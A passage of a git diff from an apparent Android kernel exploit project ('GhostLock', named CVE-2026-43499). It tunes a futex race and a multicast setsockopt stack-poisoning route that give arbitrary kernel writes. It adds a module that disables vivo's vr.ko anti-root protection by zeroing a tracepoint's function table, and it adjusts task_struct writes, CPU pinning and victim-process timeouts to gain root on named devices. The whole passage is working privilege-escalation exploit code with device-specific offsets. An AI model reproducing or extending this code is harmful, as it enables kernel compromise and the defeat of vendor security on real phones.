return loaded_ ? (MulticastWaiterLayout){ diff --git a/src/core/race/threads.cpp b/src/core/race/threads.cpp index bfc225ff0..d0c574883 100644 --- a/src/core/race/threads.cpp +++ b/src/core/race/threads.cpp @@ -12,6 +12,10 @@ #include "route/route_policy.hpp" #include "session/exploit_session.hpp" +#include +#include +#include + using namespace ghostlock; namespace ghostlock::race { @@ -239,7 +243,33 @@ namespace ghostlock::race { support::fail_stop_dirty_race("route_done deadline", status.error_number); } session::g_exploit_session.race.request_stop(); + /* Bounded join (vivo 16.x fix): after a route fire the owner thread's + * final FUTEX_UNLOCK_PI on target_futex walks the (now corrupted) + * rt_mutex pi_waiters tree in-kernel and can stall indefinitely; a + * plain join() then parks the worker forever with the fire half-done. + * The payload process owns no UI, so a watchdog that fail-stops the + * process on a join deadline is strictly better than hanging. 10s is + * generous: owner exits within ~1s of request_stop on healthy runs. */ + static std::atomic race_join_done{0}; + race_join_done.store(0); + pthread_t join_watchdog; + const int watchdog_started = pthread_create(&join_watchdog, nullptr, + [](void *arg) -> void * { + auto *done = static_cast *>(arg); + for (int i = 0; i < 100 && !done->load(); i++) { + usleep(100000); /* 100 x 100ms = 10s deadline */ + } + if (!done->load()) { + support::fail_stop_dirty_race("PI worker join deadline", + ETIMEDOUT); + } + return nullptr; + }, &race_join_done); + if (watchdog_started == 0) { + pthread_detach(join_watchdog); + } const int32_t join_error = session::g_exploit_session.race.join(); + race_join_done.store(1); if (join_error != 0) { support::fail_stop_dirty_race("PI worker join", join_error); } diff --git a/src/core/route/multicast_waiter_route.cpp b/src/core/route/multicast_waiter_route.cpp index ff2d221b0..1197b6edd 100644 --- a/src/core/route/multicast_waiter_route.cpp +++ b/src/core/route/multicast_waiter_route.cpp @@ -15,6 +15,23 @@ using namespace ghostlock; namespace ghostlock::route { + namespace { + /* Poison/walk repetition. The values are the ones this geometry was + * measured with on a 6.1 compact-waiter kernel: the arm only starts once + * the earlier copies have overwritten each other, and the waiter thread + * spins on yield (no syscall) between the copy and the walk so the + * poisoned frame survives. A profile may override them through + * route.multicast_waiter {attempts, arm_sequence, arm_hold}; 0 keeps the + * default. */ + constexpr int32_t kMulticastMaxAttempts = 128; + constexpr int32_t kMulticastArmSequence = 16; + constexpr int32_t kMulticastArmHold = 20000; + + int32_t mcast_from_profile(uint32_t value, int32_t fallback) { + return value > 0 ? static_cast(value) : fallback; + } + } // namespace + route::RouteStatus do_kernel5_fake_lock_route(const memory::WriteRequest *request) { (void) request; route::RouteStatus status = {.code = ROUTE_RETRYABLE}; @@ -68,40 +85,64 @@ namespace ghostlock::route { session::g_exploit_session.race.consumer_success.store(0); session::g_exploit_session.race.consumer_stop.store(0); session::g_exploit_session.race.route_delay_usec.store(0); - errno = 0; - int32_t stamp_result = - setsockopt(fd, IPPROTO_IP, MCAST_BLOCK_SOURCE, stamp, (socklen_t) sizeof(stamp)); + /* The copy landing on the caller's stack is a race against skb page + * recycling, so a single setsockopt is a single lottery ticket: one miss + * costs the whole run, because a miss usually panics the kernel. + * Re-poison and re-walk instead, arming from the point where the earlier + * copies have overwritten each other. */ + const profile::McastTuning mcast = + session::g_exploit_session.profile.mcast_tuning(); + const int32_t max_attempts = + mcast_from_profile(mcast.attempts, kMulticastMaxAttempts); + const int32_t arm_sequence = + mcast_from_profile(mcast.arm_sequence, kMulticastArmSequence); + const int32_t arm_hold = mcast_from_profile(mcast.arm_hold, kMulticastArmHold); + int32_t stamp_result = -1; + int32_t stamp_errno = 0; + int32_t attempts_used = 0; + for (int32_t attempt = 1; attempt <= max_attempts; attempt++) { + attempts_used = attempt; + errno = 0; + stamp_result = setsockopt(fd, IPPROTO_IP, MCAST_BLOCK_SOURCE, stamp, + (socklen_t) sizeof(stamp)); + stamp_errno = errno; + /* The copy lands before the family check, so -EADDRNOTAVAIL still + * means the waiter shape is on the stack now. */ + if (attempt < arm_sequence || + (stamp_result != 0 && stamp_errno != EADDRNOTAVAIL)) { + continue; + } + session::g_exploit_session.race.consumer_go.store(attempt); + for (int32_t spin = 0; spin < arm_hold; spin++) + __asm__ volatile("yield" ::: "memory"); + session::g_exploit_session.race.consumer_go.store(0); + while (session::g_exploit_session.race.consumer_inflight.load()) + __asm__ volatile("yield" ::: "memory"); + if (session::g_exploit_session.race.consumer_success.load() > 0) break; + } status.step = 61; - status.error_number = errno; - session::g_exploit_session.race.consumer_go.store(1); - for (int32_t spin = 0; spin < 100000000 && - session::g_exploit_session.race.consumer_calls.load() == 0; spin++) - __asm__ volatile ( - - - "yield" - ::: "memory"); - session::g_exploit_session.race.consumer_go.store(0); - while (session::g_exploit_session.race.consumer_inflight.load()) - __asm__ volatile ( - - - "yield" - ::: "memory"); + status.error_number = stamp_errno; close(fd); status.userspace_clean = 1; status.kernel_disarmed = 1; - if (stamp_result == 0 || - session::g_exploit_session.race.consumer_success.load() > 0) { + /* Only the consumer's verified write makes this route OK: a setsockopt + * return code merely means the copy landed, and the warm-up attempts + * never arm the consumer at all (select_stack judges its runs the same + * way). Reporting OK without it would let the caller skip its retry on + * an unverified write. */ + if (session::g_exploit_session.race.consumer_success.load() > 0) { status.step = 0; status.error_number = 0; status.code = ROUTE_OK; } else { status.code = ROUTE_FALLBACK_SAFE; } - pr_info("multicast route status=%d clean=%d/%d step=%d errno=%d\n", + pr_info("multicast route status=%d clean=%d/%d step=%d sockopt=%d errno=%d " + "attempts=%d calls=%d success=%d\n", status.code, status.userspace_clean, status.kernel_disarmed, - status.step, status.error_number); + status.step, stamp_result, status.error_number, attempts_used, + session::g_exploit_session.race.consumer_calls.load(), + session::g_exploit_session.race.consumer_success.load()); return status; } diff --git a/src/core/session/ancillary/ancillary_controller.cpp b/src/core/session/ancillary/ancillary_controller.cpp new file mode 100644 index 000000000..91a08b8d9 --- /dev/null +++ b/src/core/session/ancillary/ancillary_controller.cpp @@ -0,0 +1,11 @@ +/* + * GhostLock — ancillary controller translation unit (skeleton). + * + * Forces the controller header through the Android compile (and clang-tidy) so + * the host-safe interface cannot drift from what the device build sees. Stage C + * adds the behavior bodies that call the backend write primitive and the + * per-middleware explicit instantiations; for now there is no behavior body and + * no middleware instance to materialize, so this unit carries only the include. + */ + +#include "session/ancillary/ancillary_controller.hpp" diff --git a/src/core/session/ancillary/ancillary_controller.hpp b/src/core/session/ancillary/ancillary_controller.hpp new file mode 100644 index 000000000..3c754e0e8 --- /dev/null +++ b/src/core/session/ancillary/ancillary_controller.hpp @@ -0,0 +1,57 @@ +#ifndef GHOSTLOCK_ANCILLARY_CONTROLLER_HPP +#define GHOSTLOCK_ANCILLARY_CONTROLLER_HPP + +#include +#include + +#include "session/ancillary/ancillary_policy.hpp" +#include "session/ancillary/vr_guard.hpp" +#include "session/exploit_session.hpp" + +namespace ghostlock::session::ancillary { + /* The registry: every ancillary behavior, in evaluation order. Adding a + * behavior appends one type here; the controller never branches on kind. */ + using AncillaryPolicyList = std::tuple; + + template + constexpr void for_each_ancillary_policy(Fn &&fn, std::tuple *) { + (fn.template operator()(), ...); + } + + template + constexpr void for_each_ancillary_policy(Fn &&fn) { + for_each_ancillary_policy(std::forward(fn), + static_cast(nullptr)); + } + + /* Invoke fn

() for every behavior the resolved profile enables. This is the + * only gate: a behavior is off unless it says so. Host-compilable and + * side-effect-free, so the host test can lock the selection. */ + template + void for_each_enabled_ancillary_policy(const profile::TargetProfile &profile, Fn &&fn) { + for_each_ancillary_policy([&]() { + if (P::enabled(profile)) fn.template operator()

(); + }); + } + + /* The controller. The pipeline fixes the backend step order and the + * middleware policy; the controller only dispatches the enabled behaviors at + * the requested stage, and every call site passes the middleware so the + * behavior's write primitive keeps the same instantiation. Header-only and + * host-compilable; behavior bodies that need the middleware's write primitive + * land in stage C. */ + template + struct AncillaryController final { + static Status apply(AncillaryStage stage, ExploitSession &session, + AncillaryContext &context) { + Status ok = true; + for_each_enabled_ancillary_policy( + session.profile, [&]() { + ok = P::template apply(stage, session, context) && ok; + }); + return ok; + } + }; +} // namespace ghostlock::session::ancillary + +#endif diff --git a/src/core/session/ancillary/ancillary_policy.hpp b/src/core/session/ancillary/ancillary_policy.hpp new file mode 100644 index 000000000..dad801823 --- /dev/null +++ b/src/core/session/ancillary/ancillary_policy.hpp @@ -0,0 +1,80 @@ +#ifndef GHOSTLOCK_ANCILLARY_POLICY_HPP +#define GHOSTLOCK_ANCILLARY_POLICY_HPP + +#include +#include + +#include "profile/model.h" +#include "support/status.hpp" + +namespace ghostlock::session { + struct ExploitSession; +} + +namespace ghostlock::session::ancillary { + /* Stable ancillary-behavior ids. Explicit numeric values; never rely on the + * compiler's enum layout. VrGuard is the first and currently the only + * behavior; a new behavior appends an id here and a policy to the registry. */ + enum class AncillaryKind : std::uint8_t { + VrGuard = 1, + }; + + /* When the controller runs a behavior, relative to the backend attack steps: + * PreSpawn - W1 done, before the victim is spawned; + * PostSpawn - the rooted child exists (today's W2b); + * PreHandoff - before the frontend handoff. */ + enum class AncillaryStage : std::uint8_t { + PreSpawn = 0, + PostSpawn = 1, + PreHandoff = 2, + }; + + /* The backend's kernel write, injected at the call site: zero one word at an + * already-translated kernel address. A plain function pointer keeps the + * attack path free of virtual dispatch, and naming the effect rather than + * the middleware's request type keeps this header (and every behavior's + * plan) host-compilable — the host test passes a stub, the device build + * passes the middleware's write. The adapter binds the session global, so + * adding it does not add a parameter-derived call site to `attack_write` + * (the disassembly gate requires that function's code to stay put). */ + using AncillaryZeroFn = Status (*)(std::uintptr_t target, const char *desc); + + /* Capabilities a behavior needs from the backend: the write primitive and the + * stage-R read-back. Injected at the call site so this header stays + * host-compilable; `write` is null where the backend has none to offer (the + * host test), and a behavior that needs it must fail safe. */ + struct AncillaryContext { + bool write_available = false; + bool read_available = false; + AncillaryZeroFn write_zero = nullptr; + }; + + /* Neutral defaults so the controller can walk every registered behavior. A + * behavior that is off reports false; an empty apply is a no-op success. */ + struct AncillaryPolicyDefaults { + static bool enabled(const profile::TargetProfile &) noexcept { + return false; + } + + template + static Status apply(AncillaryStage, ExploitSession &, AncillaryContext &) noexcept { + return true; + } + }; + + /* Ancillary-behavior contract. `kind` names the behavior, `enabled` gates it + * from the resolved profile, and `apply` is the stage entry. The + * write primitive depends on the middleware, so apply is templated like the + * backend's steps. */ + template + concept AncillaryPolicyFor = requires(const profile::TargetProfile &profile, + ExploitSession &session, + AncillaryContext &context) { + { P::kind } -> std::convertible_to; + { P::enabled(profile) } -> std::same_as; + { P::template apply(AncillaryStage::PreSpawn, session, context) } + -> std::same_as; + }; +} // namespace ghostlock::session::ancillary + +#endif diff --git a/src/core/session/ancillary/vr_guard.cpp b/src/core/session/ancillary/vr_guard.cpp new file mode 100644 index 000000000..2b1226dbf --- /dev/null +++ b/src/core/session/ancillary/vr_guard.cpp @@ -0,0 +1,114 @@ +/* + * GhostLock — vr.ko guard execution (Android only). + * + * The plan (`plan_vr_guard` in vr_guard.hpp) turns the resolved profile into a + * write target; this unit carries the parts that need the device: the runtime + * applicability check and the kernel write itself, which arrives through + * `AncillaryContext` so the behavior stays independent of the middleware it + * runs under. + */ + +#include "session/ancillary/vr_guard.hpp" + +#if defined(__ANDROID__) + +#include +#include +#include +#include + +#include "common.h" +#include "kernel/target.h" +#include "memory/payload_builder.h" +#include "route/route_policy.hpp" +#include "session/exploit_session.hpp" +#include "support/native_resource.hpp" + +namespace ghostlock::session::ancillary { + namespace { + /* vr.ko present in /proc/modules? Cached: the answer cannot change while + * the run lasts. An unreadable /proc/modules counts as "not present": + * the profile already gated the behavior, and a missing vr.ko means + * there is nothing to neutralize (guide §5, fail safe). */ + bool vr_module_present() { + static int32_t cached = -1; + if (cached >= 0) return cached != 0; + cached = 0; + if (FILE *modules = fopen("/proc/modules", "r")) { + auto close_modules = ghostlock::support::make_scope_exit( + [modules]() noexcept { fclose(modules); }); + std::array line{}; + while (fgets(line.data(), static_cast(line.size()), modules)) { + const std::string_view text(line.data()); + /* strncasecmp(text, "vr", 2), then the module-name + * separator. */ + const bool vr_prefix = + text.size() >= 2 && (text[0] == 'v' || text[0] == 'V') && + (text[1] == 'r' || text[1] == 'R'); + if (vr_prefix && text.size() > 2 && + (text[2] == ' ' || text[2] == '_')) { + cached = 1; + break; + } + } + } + return cached != 0; + } + + /* Five attempts: the write primitive is probabilistic per stage. */ + constexpr int32_t kVrGuardAttempts = 5; + } // namespace + + template + Status VrGuardPolicy::apply(AncillaryStage stage, ExploitSession &session, + AncillaryContext &context) noexcept { + /* One stage only: with SELinux permissive and no victim spawned yet, a + * single write covers every process this run will bring up. */ + if (stage != AncillaryStage::PreSpawn) return true; + + const std::optional plan = plan_vr_guard(session.profile); + if (!plan.has_value()) return true; /* profile does not carry it */ + + if (!vr_module_present()) { + pr_info("vr guard: vr.ko not present; nothing to neutralize\n"); + return true; + } + if (!context.write_available || context.write_zero == nullptr) { + pr_warning("vr guard: no write primitive available; vr.ko probe left " + "armed (ksud shells may be killed)\n"); + return false; + } + + const uintptr_t image = static_cast( + kernel::KIMAGE_TEXT_BASE + plan->image_offset); + const uintptr_t target = session.addresses.data_alias(image); + pr_info("vr guard: neutralizing __tracepoint_sys_exit.funcs " + "image=%016zx target=%016zx width=%u\n", + static_cast(image), static_cast(target), + plan->width_bytes); + + for (int32_t attempt = 1; attempt <= kVrGuardAttempts; attempt++) { + if (context.write_zero(target, "vr guard: sys_exit tp->funcs")) { + pr_success("vr guard: sys_exit probe disabled (attempt %d)\n", attempt); + return true; + } + pr_warning("vr guard: attempt %d failed, retrying\n", attempt); + usleep(50000); + } + /* Not fatal for the exploit itself: root is still granted, the shells it + * leads to are what suffers. Report the failure and let the caller log + * it; the run continues. */ + pr_warning("vr guard: all %d attempts failed; ksud shells may be killed\n", + kVrGuardAttempts); + return false; + } + + template Status VrGuardPolicy::apply(AncillaryStage, ExploitSession &, + AncillaryContext &) noexcept; + template Status VrGuardPolicy::apply(AncillaryStage, ExploitSession &, + AncillaryContext &) noexcept; + template Status VrGuardPolicy::apply(AncillaryStage, ExploitSession &, + AncillaryContext &) noexcept; +} // namespace ghostlock::session::ancillary + +#endif diff --git a/src/core/session/ancillary/vr_guard.hpp b/src/core/session/ancillary/vr_guard.hpp new file mode 100644 index 000000000..d09d10a6d --- /dev/null +++ b/src/core/session/ancillary/vr_guard.hpp @@ -0,0 +1,72 @@ +#ifndef GHOSTLOCK_VR_GUARD_HPP +#define GHOSTLOCK_VR_GUARD_HPP + +#include +#include + +#include "profile/model.h" +#include "session/ancillary/ancillary_policy.hpp" + +namespace ghostlock::session::ancillary { + /* Ancillary behavior: vivo/iQOO `vr.ko` anti-root neutralization. + * + * vr.ko registers an enforcement probe on `__tracepoint_sys_exit`. Once a + * process holds uid 0, vr's `commit_creds` probe tags that task and the + * `sys_exit` probe kills it on the way out, which is what takes ksud and + * every shell it spawns down (black-screened apps, an unusable manager). + * Clearing `__tracepoint_sys_exit.funcs` makes the tracepoint iterator skip + * every probe for every process; the tagging probe still runs, but nothing + * acts on the tag. + * + * Two facts come from the profile and both must be present (see `plan()`): + * the symbol's image offset, and `offsetof(struct tracepoint, funcs)`. + * Neither is inferred from the kernel version — 6.6 gained a `probestub` + * member ahead of `funcs` and moved it — so the struct offset is derived per + * image (BTF) by the extractor. + * + * When it runs: `PreSpawn` — SELinux is permissive and no victim exists yet, + * so one write covers every process the run will bring up, ksud included. + */ + + /* Pure plan: profile -> write target and width, or nothing. + * + * `nullopt` means the profile does not carry both facts, which is the + * fail-closed path: a non-vivo profile never triggers a write. The target is + * image-relative; turning it into a direct-map alias needs the session and + * stays in `apply()`. Host-testable (see src/core/tests/ancillary_test.cpp). + */ + struct VrGuardPlan final { + uint64_t image_offset = 0; + uint32_t width_bytes = 0; + }; + + [[nodiscard]] inline std::optional plan_vr_guard( + const profile::TargetProfile &profile) noexcept { + const uint64_t tracepoint = profile.vr_sys_exit_tp(); + const profile::VrGuardLayout layout = profile.vr_guard_layout(); + if (tracepoint == 0 || !layout.tracepoint_funcs.has_value()) return std::nullopt; + return VrGuardPlan{ + .image_offset = tracepoint + *layout.tracepoint_funcs, + /* funcs is a pointer array; the entry the iterator reads is one + * word wide. */ + .width_bytes = static_cast(sizeof(uintptr_t)), + }; + } + + struct VrGuardPolicy : AncillaryPolicyDefaults { + static constexpr AncillaryKind kind = AncillaryKind::VrGuard; + + /* Profile gate only (guide §5): it says the support list enables the + * behavior for this profile. Whether vr.ko is present on the running + * device is decided at apply() time. */ + static bool enabled(const profile::TargetProfile &profile) noexcept { + return profile.vr_guard_enabled() && plan_vr_guard(profile).has_value(); + } + + template + static Status apply(AncillaryStage stage, ExploitSession &session, + AncillaryContext &context) noexcept; + }; +} // namespace ghostlock::session::ancillary + +#endif diff --git a/src/core/session/backend/cve_2026_43499_backend.cpp b/src/core/session/backend/cve_2026_43499_backend.cpp index 37b13e118..81d606949 100644 --- a/src/core/session/backend/cve_2026_43499_backend.cpp +++ b/src/core/session/backend/cve_2026_43499_backend.cpp @@ -21,6 +21,7 @@ #include "route/route_middleware.hpp" #include "route/route_policy.hpp" #include "session/handoff_probe.hpp" +#include "session/ancillary/ancillary_controller.hpp" #include "session/victim_process.hpp" #include "support/decls.hpp" #include "support/fatal_error.hpp" @@ -145,6 +146,15 @@ namespace ghostlock::session::backend { pr_info("child_pid=%d child_task=0x%016zx\n", pipes.child(), child_task); /* ------------------------------------------------------------------ * vivo vr.ko anti-root per-task bypass (ported from root.c) + * + * Device scoping: this section targets PD2338 (vivo iQOO Neo9, + * OriginOS 16.2.13.2, kernel 5.15.197-g708015331567-dirty). On that + * build vr.ko's detect() lives at .text+0x2ecc and gates on + * cred->euid==0 plus the "u:r:vrp:s0" SELinux-context comparison — + * it never reads thread_info.flags, so tag A is a harmless no-op + * against it (kept for 6.x kernels whose detection does read the + * flags word). For other devices (6.1/6.6 GKI), re-run the vr.ko + * forensics before trusting these offsets. * ------------------------------------------------------------------ * Always compiled: the /proc/modules probe below decides at runtime * whether the writes run. The tag-B offset is overridable at build time @@ -194,17 +204,48 @@ namespace ghostlock::session::backend { int32_t vr_ok = 1; if (vr_needed) { - /* 1) Clear thread_info.flags word (covers tag A + tracepoint bit) */ + /* 1) Clear thread_info.flags word (covers tag A + tracepoint bit). + * Kept unconditional: on arm64 5.15/6.1 thread_info.flags is at + * task+0x00 so the write is layout-safe everywhere; on the 5.15 + * vendor build it is a no-op for detection (2026-10-05 forensics: + * vr-197.ko's detect reads cred->euid/cred->security, never + * thread_info.flags, and has no fork/exit tag probes at all) but + * harmless, while 6.x builds rely on it. */ const memory::WriteRequest flags_request = memory::WriteRequest::make( child_task + kernel::TASK_THREAD_INFO_FLAGS_OFF, memory::WriteMode::Zero, 1); vr_ok &= Cve2026_43499Policy::template attack_write(session, flags_request, "VR: flags+tagA"); - /* 2) Clear tag B (64-bit aligned down). Belt-and-suspenders. */ + /* 2) Clear tag B (64-bit aligned down). Belt-and-suspenders. + * + * ⚠ vivo 5.15 arm64 hazard (2026-10-05 live forensics): the + * 6.1-era VR_TAG_B_OFF=0x2c leaf fire lands its NULL write on + * task_struct.__state (+0x28 in 5.15.197 arm64 per on-device + * BTF) — zeroing it while the victim sleeps in the command + * pipe leaves a zombie-RUNNING task that try_to_wake_up() + * refuses to wake (state==0 short-circuits), wedging + * verify_w2_stage's pipe read until the app-level timeout + * kills the whole run. That zombie was reproduced on + * PD2338 (iQOO Neo9, kernel 5.15.197); the real tag-B + * offset on this kernel was never recovered from vr.ko, + * so tagB now requires an explicit opt-in; 6.1-style + * layouts pass GHOSTLOCK_VR_TAG_B=0x2c to restore the + * original behavior. */ if (vr_ok) { - uintptr_t tagb_align = (child_task + VR_TAG_B_OFF) & ~7ULL; - const memory::WriteRequest tagb_request = - memory::WriteRequest::make(tagb_align, memory::WriteMode::Zero, 1); - vr_ok &= Cve2026_43499Policy::template attack_write(session, tagb_request, "VR: tagB"); + long tagb_override = -1; + const char *env_tagb = getenv("GHOSTLOCK_VR_TAG_B"); + if (env_tagb && env_tagb[0]) { + tagb_override = strtol(env_tagb, nullptr, 0); + } + if (tagb_override < 0) { + pr_info("VR: tagB skipped (set GHOSTLOCK_VR_TAG_B= " + "only on kernels where the offset is verified)\n"); + } else { + uintptr_t tagb_align = + (child_task + static_cast(tagb_override)) & ~7ULL; + const memory::WriteRequest tagb_request = + memory::WriteRequest::make(tagb_align, memory::WriteMode::Zero, 1); + vr_ok &= Cve2026_43499Policy::template attack_write(session, tagb_request, "VR: tagB"); + } } if (vr_ok) { @@ -417,6 +458,24 @@ namespace ghostlock::session::backend { support::run_state::complete("w1a"); support::run_state::complete("w1b"); } + /* Ancillary behaviors run outside the exploit path. The call site is + * fixed: adding a behavior changes the registry, never this block. + * PreSpawn = SELinux is permissive and no victim exists yet, so one + * write covers everything the run brings up, the root script's ksud + * included. */ + { + ancillary::AncillaryContext ancillary_context{ + .write_available = true, + .read_available = false, + .write_zero = &Cve2026_43499Policy::template zero_word, + }; + if (!ancillary::AncillaryController::apply( + ancillary::AncillaryStage::PreSpawn, session, + ancillary_context)) { + pr_warning("ancillary: pre-spawn behavior reported failure; " + "continuing\n"); + } + } return StageResult::Continue; } } // namespace @@ -465,6 +524,13 @@ namespace ghostlock::session::backend { /* One route write: middleware resident fast path, else heap spray + PI race. * Shared statement order; the middleware policy decides the resident step. */ + template + Status Cve2026_43499Policy::zero_word(uintptr_t target, const char *desc) { + const memory::WriteRequest request = + memory::WriteRequest::make(target, memory::WriteMode::Zero, 1); + return attack_write(g_exploit_session, request, desc); + } + template Status Cve2026_43499Policy::attack_write(ExploitSession &session, const memory::WriteRequest &request, @@ -556,6 +622,12 @@ namespace ghostlock::session::backend { ExploitSession &, const memory::WriteRequest &, const char *); template Status Cve2026_43499Policy::attack_write( ExploitSession &, const memory::WriteRequest &, const char *); + template Status Cve2026_43499Policy::zero_word(uintptr_t, + const char *); + template Status Cve2026_43499Policy::zero_word(uintptr_t, const char *); + template Status Cve2026_43499Policy::zero_word(uintptr_t, + const char *); + template Status Cve2026_43499Policy::attack_write( ExploitSession &, const memory::WriteRequest &, const char *); } // namespace ghostlock::session::backend diff --git a/src/core/session/backend/cve_2026_43499_backend.hpp b/src/core/session/backend/cve_2026_43499_backend.hpp index 3c02a6882..e1cf7164a 100644 --- a/src/core/session/backend/cve_2026_43499_backend.hpp +++ b/src/core/session/backend/cve_2026_43499_backend.hpp @@ -39,6 +39,12 @@ namespace ghostlock::session::backend { const memory::WriteRequest &request, const char *desc); + /* Ancillary-context adapter: zero one word at an already-translated + * kernel address through this middleware's write. Behaviors receive it + * as a plain function pointer so they never name the middleware. */ + template + [[nodiscard]] static Status zero_word(uintptr_t target, const char *desc); + /* Stage: process setup and profile installation (middleware-free). */ [[nodiscard]] static StageResult run_setup(ExploitSession &session, const profile::kernel_offsets &decoded, diff --git a/src/core/session/runtime_config.cpp b/src/core/session/runtime_config.cpp index 1573a55d4..e1df474d5 100644 --- a/src/core/session/runtime_config.cpp +++ b/src/core/session/runtime_config.cpp @@ -8,6 +8,23 @@ static void runtime_config_init_cpus(config::RuntimeConfig *config) { config->main_cpu = 0; config->consumer_cpu = 1; + /* Environment override (vivo PD2338 fix): the fast route pair must be + * pinned to two big cores (3/4 on the 8-core SD8 Gen2 family) and the + * best pair is device-specific. GHOSTLOCK_MAIN_CPU / GHOSTLOCK_CONSUMER_CPU + * let a launch wrapper force the pair without touching any profile; the + * profile's execution.selected_cpus still wins when the caller leaves the + * environment unset (apply_profile runs later and is authoritative). */ + const char *env_main = getenv("GHOSTLOCK_MAIN_CPU"); + const char *env_consumer = getenv("GHOSTLOCK_CONSUMER_CPU"); + if (env_main && env_main[0]) { + const int parsed = atoi(env_main); + if (parsed >= 0 && parsed < CPU_SETSIZE) config->main_cpu = parsed; + } + if (env_consumer && env_consumer[0]) { + const int parsed = atoi(env_consumer); + if (parsed >= 0 && parsed < CPU_SETSIZE) config->consumer_cpu = parsed; + } + if (config->main_cpu == config->consumer_cpu) { config->main_cpu = 0; config->consumer_cpu = 1; diff --git a/src/core/session/victim_process.cpp b/src/core/session/victim_process.cpp index 003c9d629..4d0543186 100644 --- a/src/core/session/victim_process.cpp +++ b/src/core/session/victim_process.cpp @@ -10,8 +10,19 @@ #include "support/native_resource.hpp" #include +#include namespace ghostlock::session::victim { + /* Bounded probe read: a victim that stops answering (killed by the vendor + * probe, or wedged by an out-of-contract write) must fail the verify and + * let retry_write_stage refire/respawn instead of parking the worker on a + * dead pipe until the app-level timeout kills the whole run. */ + static bool read_u32_timeout(int fd, uint32_t *out, int timeout_ms) { + struct pollfd pfd = {.fd = fd, .events = POLLIN, .revents = 0}; + if (poll(&pfd, 1, timeout_ms) != 1) return false; + return read(fd, out, sizeof(*out)) == static_cast(sizeof(*out)); + } + /* rooted exits kfree the static init_cred (w2 stores it with no * get_cred). park forever, oom_score_adj -1000 so lmkd skips us. */ static void park_child_process_forever(void) { @@ -213,8 +224,7 @@ namespace ghostlock::session::victim { if (write(stage->pipes.cmd_write.get(), "C", 1) != 1) return 0; uint32_t child_uid = 9999; - if (read(stage->pipes.uid_read.get(), &child_uid, sizeof(child_uid)) != - static_cast(sizeof(child_uid))) { + if (!read_u32_timeout(stage->pipes.uid_read.get(), &child_uid, 3000)) { return 0; } pr_info("child uid = %u\n", child_uid); @@ -227,9 +237,8 @@ namespace ghostlock::session::victim { auto *stage = static_cast(context); if (write(stage->pipes.cmd_write.get(), "F", 1) != 1) return 0; - uint32_t code = 0; - if (read(stage->pipes.uid_read.get(), &code, sizeof(code)) != - static_cast(sizeof(code))) { + uint32_t code = 0xffffffff; + if (!read_u32_timeout(stage->pipes.uid_read.get(), &code, 3000)) { return 0; } pr_info("seccomp finit_module probe = 0x%x\n", code); @@ -249,8 +258,7 @@ namespace ghostlock::session::victim { if (write(stage->pipes.cmd_write.get(), "M", 1) != 1) return 0; uint32_t report = 0; - if (read(stage->pipes.uid_read.get(), &report, sizeof(report)) != - static_cast(sizeof(report))) { + if (!read_u32_timeout(stage->pipes.uid_read.get(), &report, 3000)) { return 0; } size_t len = (report >> 8) & 0xff; diff --git a/src/core/tests/ancillary_test.cpp b/src/core/tests/ancillary_test.cpp new file mode 100644 index 000000000..a186c35f5 --- /dev/null +++ b/src/core/tests/ancillary_test.cpp @@ -0,0 +1,110 @@ +/* Host test for the ancillary controller skeleton: the behavior registry, the + * profile gate and the stage-dispatch signature. No session is constructed and + * no behavior body runs yet, so this links without the Android write path. */ + +#include "session/ancillary/ancillary_controller.hpp" + +#include +#include +#include +#include +#include + +using namespace ghostlock; + +namespace { + struct EmptyMiddleware final {}; + + /* A behavior that opts in, to exercise the enabled-traversal independent of + * the (currently off) registered VrGuardPolicy. */ + struct OnPolicy : session::ancillary::AncillaryPolicyDefaults { + static constexpr session::ancillary::AncillaryKind kind = + session::ancillary::AncillaryKind::VrGuard; + + static bool enabled(const profile::TargetProfile &) noexcept { + return true; + } + }; + + profile::TargetProfile make_profile() { + static profile::kernel_offsets values; + values = {}; + return profile::TargetProfile::from(&values); + } +} // namespace + +int main() { + using namespace session::ancillary; + + /* Both the registered behavior and an opting-in one satisfy the contract. */ + static_assert(AncillaryPolicyFor); + static_assert(AncillaryPolicyFor); + + /* The registry currently holds exactly the vr.ko guard. */ + static_assert(std::tuple_size_v == 1); + + int visited = 0; + bool saw_vr_guard = false; + for_each_ancillary_policy([&]() { + ++visited; + if (P::kind == AncillaryKind::VrGuard) saw_vr_guard = true; + }); + assert(visited == 1 && saw_vr_guard); + + const profile::TargetProfile profile = make_profile(); + + /* Skeleton: the registered behavior is gated off, so nothing dispatches. */ + assert(!VrGuardPolicy::enabled(profile)); + int enabled_visited = 0; + for_each_enabled_ancillary_policy(profile, [&]() { ++enabled_visited; }); + assert(enabled_visited == 0); + + /* An opting-in behavior is reached by the same traversal. */ + assert(OnPolicy::enabled(profile)); + + /* Ancillary vr.ko guard: the gate, the fail-closed plan, and the pure + * target arithmetic the device write performs. */ + profile::kernel_offsets vr_values{}; + vr_values.misc.vr_guard = 1; + vr_values.misc.vr_sys_exit_tp = 0x021a1020; /* measured on vivo 6.1 */ + vr_values.misc.vr_tracepoint_funcs = 0x40; /* BTF: sizeof(tracepoint) 0x48 */ + const profile::TargetProfile vr_profile = profile::TargetProfile::from(&vr_values); + assert(VrGuardPolicy::enabled(vr_profile)); + const std::optional vr_plan = plan_vr_guard(vr_profile); + assert(vr_plan.has_value()); + assert(vr_plan->image_offset == 0x021a1020u + 0x40u); + assert(vr_plan->width_bytes == sizeof(uintptr_t)); + + /* The gate and the layout are separate facts (guide §5): the plan is pure + * arithmetic over the layout, so it still describes the write when the gate + * is off — it is `enabled()` that keeps a gated-off behavior from running. */ + profile::kernel_offsets vr_no_gate = vr_values; + vr_no_gate.misc.vr_guard = 0; + const profile::TargetProfile vr_no_gate_profile = + profile::TargetProfile::from(&vr_no_gate); + assert(!VrGuardPolicy::enabled(vr_no_gate_profile)); + assert(plan_vr_guard(vr_no_gate_profile).has_value()); + + /* Fail closed: either fact missing means no plan at all, so a profile that + * describes no tracepoint can never produce a write. */ + + profile::kernel_offsets vr_no_funcs = vr_values; + vr_no_funcs.misc.vr_tracepoint_funcs = 0; + assert(!VrGuardPolicy::enabled(profile::TargetProfile::from(&vr_no_funcs))); + + profile::kernel_offsets vr_no_symbol = vr_values; + vr_no_symbol.misc.vr_sys_exit_tp = 0; + assert(!VrGuardPolicy::enabled(profile::TargetProfile::from(&vr_no_symbol))); + + /* The controller exposes the stage entry the backend calls. */ + static_assert( + requires(session::ExploitSession &session, AncillaryContext &context) { + { + AncillaryController::apply( + AncillaryStage::PreSpawn, session, context) + } -> std::same_as; + }); + + puts("ancillary_test: ok"); + return 0; +} diff --git a/tools/cmp_disasm.py 